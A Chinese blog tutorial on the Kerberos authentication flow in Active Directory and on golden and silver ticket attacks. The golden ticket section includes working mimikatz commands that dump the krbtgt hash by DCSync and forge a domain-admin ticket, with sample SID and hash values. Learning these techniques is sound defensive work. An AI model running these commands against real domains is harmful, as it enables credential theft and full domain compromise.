Kerberos原理 黄金票据、白银票据

KDC包含{AS下发TGT(身份认证),TGS(服务票据)} AD是是实现域的

1、KDC 服务默认会安装在⼀个域的域控中

2、从物理层⾯看,AD与KDC均为域控制器(Domain Controller)

3、AD其实是⼀个类似于本机SAM的⼀个数据库,全称叫account database,存储所 有client的⽩名单,只有存在于⽩名单的client才能顺利申请到TGT

4、KDC 服务框架中包含⼀个 KRBTGT 账⼾,它是在创建域时系统⾃动创建的⼀个账 号,你可以暂时理解为他就是⼀个⽆法登陆的账号,在发放票据时会使⽤到它的密码 HASH 值。

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明⾃⼰的⾝份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块: Client 与 AS 的交互,Client 与 TGS 的交互,Client 与 Server 的交互

Kerberos原理流程

1、客户端发送自己的用户名给AS
2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密
3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开
生成认证因子(客户端信息,当前时间)--session key(as)加密
发送认证因子以及TGT2给TGS服务
4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认
证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密
5、客户端解密TGT3,得到session key(TGS),服务器信息
生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
发送认证因子2以及TGT4给服务器
6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务

⻩⾦票据 ☁

⻩⾦票据就是伪造的TGT,AS返回的票据

  • 条件 ☁

    1、域名称 2、域的SID值 3、域的KRBTGT账号的HASH 4、伪造任意⽤⼾名

  • 适⽤场景 ☁

    由于有些原因导致你对域管权限丢失,但好在你还有⼀个普通域⽤⼾权限,管理员在域内加固时忘记重置krbtgt密码

  • 利⽤⽅式 ☁

    1、在普通域⽤⼾中使⽤mimikatz⽣成⻩⾦票据.kirbi⽂件并保存

  • privilege:debug
    lsadump:lsa /patch

mimikatz log "lsadump:dcsync /domain:xiusafe /user:krbtgt"//
NTLM哈希
kerberos:golden /user:administrator /domain:xiusafe.com /sid:S-1-
5-21-3818247987-2711466351-3365387365
/krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

解释

/user:需要伪造的域管理员⽤⼾
/domain:域名称
/sid:SID值,(这⾥要是使⽤系统命令的话抓到是这样的SID,最后⾯的值代表着这
个账号的SID值,注意是去掉最后⼀个-后⾯的值!)
/krbtgt:krbtgt的HASH值
/ticket:⽣成的票据名称

2、清除票据

mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365


/krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi
kerberos::purge \\清除票据
kerberos::tgt \\查看票据

3、导⼊票据

4、创建域管

  • ⽩银票据 ☁

    ⽩银票据就是伪造的ST,TGS返回的票据

  • 条件 ☁

    1.域名 2.域sid 3.⽬标服务器名 4.可利⽤的服务 5.服务账号的NTML HASH 6.需要伪造的⽤⼾名

  • 适⽤场景 ☁

    知道服务器的Hash,可以访问服务器的某些服务⽽不⽤于kdc进⾏交互

  • 利⽤⽅式

    伪造票据 ⽤⼾名可随意填写

    ⾦票和银票的区别 ☁

  • 获取的权限不同 ☁

  • ⾦票:伪造的TGT,可以获取任意Kerberos的访问权限

  • 银票:伪造的ST,只能访问指定的服务,如CIFS

  • 认证流程不同 ☁

  • ⾦票:同KDC交互,但不同AS交互

  • 银票:不同KDC交互,直接访问Server

  • 加密⽅式不同 ☁

  • ⾦票:由krbtgt NTLM Hash 加密

  • 银票:由服务账号 NTLM Hash 加密

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值